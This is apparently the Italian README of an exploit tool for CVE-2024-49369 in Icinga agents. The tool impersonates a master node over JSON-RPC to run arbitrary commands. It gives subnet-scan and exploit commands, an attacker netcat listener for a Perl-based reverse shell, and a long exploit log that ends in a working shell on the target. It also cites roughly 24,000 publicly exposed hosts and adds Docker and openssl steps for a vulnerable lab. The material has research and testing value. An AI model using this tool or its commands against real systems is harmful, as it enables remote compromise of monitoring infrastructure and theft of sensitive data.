
Strumento di exploit per CVE-2024-49369 che colpisce gli agenti Icinga tramite il protocollo JSON-RPC. Scansiona le sottoreti per agenti vulnerabili, impersona i nodi master ed esegue comandi arbitrari o reverse shell.
Questa vulnerabilità sfrutta il protocollo JSON-RPC di Icinga per attaccare nodi monitorati che eseguono agenti Icinga. Impersonando un'istanza Master/Satellite, gli attaccanti possono potenzialmente prendere il controllo degli agenti, eseguire comandi arbitrari o ottenere informazioni sensibili.
Per scansionare una sottorete alla ricerca di agenti vulnerabili, esegui il seguente comando:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Questo comando scansiona la sottorete specificata in lotti di 25 IP. Lo strumento invia un messaggio Icinga::HELLO tramite il protocollo JSON-RPC e identifica gli agenti che rispondono insieme alle loro versioni.
Se la configurazione e l'esecuzione dei comandi sono abilitate su un endpoint (impostazione predefinita per i nodi monitorati con agenti Icinga), un attaccante può:
Ciò può portare a un compromissione totale del sistema (a seconda dell'utente del servizio) o a un accesso limitato.
Quando il nodo padre è ancora connesso, le connessioni di exploit appariranno così nel log:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Possiamo vedere che questo nodo è vulnerabile all'attacco poiché l'avviso per i cluster si attiva, il che significa che il satellite corrente è ancora connesso, ma questo agente ci vede come un genitore valido.
Avvia un listener Netcat per la reverse shell:
nc -lvnp 9001
Lancia l'exploit:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: Indirizzo IP dell'agente target.--node-cn: Common name del Master/Satellite da impersonare.--zone: Nome della zona target. Il default è master.--revip: Indirizzo IP dell'attaccante per la reverse shell.--revport: Porta dell'attaccante per la reverse shell.Questo comando avvia tentativi di connessione ripetuti. Una volta che l'agente target si disconnette dal suo genitore corrente, lo strumento prende il controllo, inviando e ricevendo controlli.
Una reverse shell basata su Perl viene utilizzata come parte di un nuovo controllo creato dallo strumento.
Anche se la configurazione e l'esecuzione dei comandi sono disabilitate sul target, gli attaccanti possono comunque ottenere dati sensibili osservando i risultati dei controlli inviati all'agente.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Queste risposte possono rivelare configurazioni sensibili, dati di pianificazione o persino i risultati dei servizi monitorati.
Su Censys ci sono attualmente 24.003 host con una porta Icinga esposta pubblicamente. Controlli a campione indicano che la maggior parte degli host esegue ancora una versione vulnerabile di Icinga.
Questa ricerca si basa sul lavoro discusso nel blog di Icinga.
docker build -f Dockerfile -t icinga-exploit .
docker run -it icinga-exploit exploit --host my_icinga_agent_with_satellite --revip 192.168.0.1 --revport 9001 --node-cn my_satellite --zone master
...+...+.......+......+.....+...+.......+............+..+...+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*........+......+.+...............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.+.....+...+.+.....+...+.+...........+....+.........+...+........+.+......+...+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.........+............+.....+....+.....+.........+.+.........+...+........+....+.................+....+......+...........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+....+..+.......+......+...........+...+...+...+.+......+..+...+...+....+...+...............+.....+...+.+......+............+..+....+.....+......+...+............+....+.........+.....+.+..+....+...+.................+.+...+.....+.......+..+...+...+....+.................+......+....+...+............+......+..................+.....+.........+.+..+....+......+..............+....+.........+...............+..+....+.........+..................+..+.............+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
.+.........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*......+...+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*..+.+.....+...+......+................+.....+.........+.........+....+...........+....+..+....+.....+.+......+........+.+...+..+.+..................+.....+.........+...+...................+........+.+..+...+.+...+..+....+.....+......+.+.................+..........+...+.....+.......+..+.+..+.+..+.......+........+...+.+..............+...............+.......+..+.+.....+.........+...+.........+....+.....+............+.........+....+.....+....+...+............+...+..............+...+.+.........+........+..........+.....+...+....+..+.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.......+...............+......+...+..+.............+......+..+...+.+.....+.........+..........+..+.......+...+.....+...+......+.+........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*...+.........+.+............+..+.......+...........+...+.+......+...+...........+.+.........+.........+..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*....+..........+.....+....+.....+......+...+.......+...+..+..........+..............+....+.....+.+.....................+............+...+...+.........+......+.....+....+............+.....+..................+...+...+.........+......+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:[('SSL routines', '', 'shutdown while in init')]
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925296.124675, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925296.124675}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(-1, 'Unexpected EOF')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925305.051298, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925305.051298}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925313.881199, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925313.881199}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::SetLastCheckStarted', 'params': {'host': 'localhost', 'last_check_started': 1733925340.30785, 'service': 'icinga_exploit'}, 'ts': 1733925340.307906}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
A questo punto la reverse shell è attiva:
nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.225.12.77.
Ncat: Connection from 10.225.12.77:40404.
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
icinga
sh-4.4$
# esegui il nodo master vulnerabile
docker run --rm --hostname icinga_master --name icinga_master -p 5665:5665 -e ICINGA_MASTER=1 -e ICINGA_ACCEPT_CONFIG=1 -e ICINGA_ACCEPT_COMMANDS=1 icinga/icinga2:2.14.2
# sfruttalo
python3 main.py exploit --host 127.0.0.1 --node-cn icinga_master --zone master --revip <IP> --revport <PORT>
mkdir /tmp/icinga_poc_certs
cd /tmp/icinga_poc_certs/
openssl genrsa -out /tmp/icinga_poc_certs/icinga-agent.key 2048
openssl req -new -key /tmp/icinga_poc_certs/icinga-agent.key -out /tmp/icinga_poc_certs/icinga-agent.csr \
-subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-agent"
openssl genrsa -out /tmp/icinga_poc_certs/icinga-ca.key 2048
openssl req -x509 -new -nodes -key /tmp/icinga_poc_certs/icinga-ca.key -sha256 -days 3650 \
-subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-ca" \
-out /tmp/icinga_poc_certs/icinga-ca.crt
openssl x509 -req -in icinga-agent.csr -CA /tmp/icinga_poc_certs/icinga-ca.crt -CAkey /tmp/icinga_poc_certs/icinga-ca.key -CAcreateserial -out /tmp/icinga_poc_certs/icinga-agent.crt -days 3650 -sha256
mkdir -p icinga-agent/var/lib/icinga2/certs/
cp /tmp/icinga_poc_certs/icinga-agent.crt icinga-agent/var/lib/icinga2/certs/icinga-agent.crt
cp /tmp/icinga_poc_certs/icinga-ca.crt icinga-agent/var/lib/icinga2/certs/ca.crt
docker run --rm \
-p 5665:5665 \
-h icinga-agent \
-v ./icinga-agent:/data:z \
-e ICINGA_ZONE=icinga-agent \
-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
-e ICINGA_ACCEPT_CONFIG=1 \
icinga/icinga2:2.14.2 icinga2 feature enable debuglog
docker run --rm \
-p 5665:5665 \
-h icinga-agent \
-v ./icinga-agent:/data:z \
-e ICINGA_ZONE=icinga-agent \
-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
-e ICINGA_ACCEPT_CONFIG=1 \
icinga/icinga2:2.14.2